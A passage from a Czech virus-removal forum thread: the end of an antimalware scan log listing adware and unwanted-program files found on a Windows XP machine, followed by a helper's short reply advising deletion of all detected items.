C:\Documents and Settings\123\Data aplikací\PriceGong\Data\g.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\h.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\i.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\j.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\k.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\l.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\m.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\n.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\o.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\p.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\q.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\r.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\s.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\t.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\u.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\v.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\w.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\x.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\y.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\z.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\Config.bin (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\HSChromeRegSetup.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\NTSetup.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\SKSetup.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\uninstaller.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\WSSetup.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\Uninstall\msvcp100.dll (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\Uninstall\msvcr100.dll (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\Uninstall\uninstaller.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\Uninstall\UninstallerLauncher.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Local Settings\Data aplikací\TBHostSupport\TBHostSupport.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.

(konec)

#10 Příspěvek od **Rudy** » 05 led 2014 11:37

Všechny nalezené položky smažte.

VIRY.CZ

Preventivní kontrola pc (log) a problém s "policejním" virem

Preventivní kontrola pc (log) a problém s "policejním" virem

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v

Re: Preventivní kontrola pc (log) a problém s "policejním" v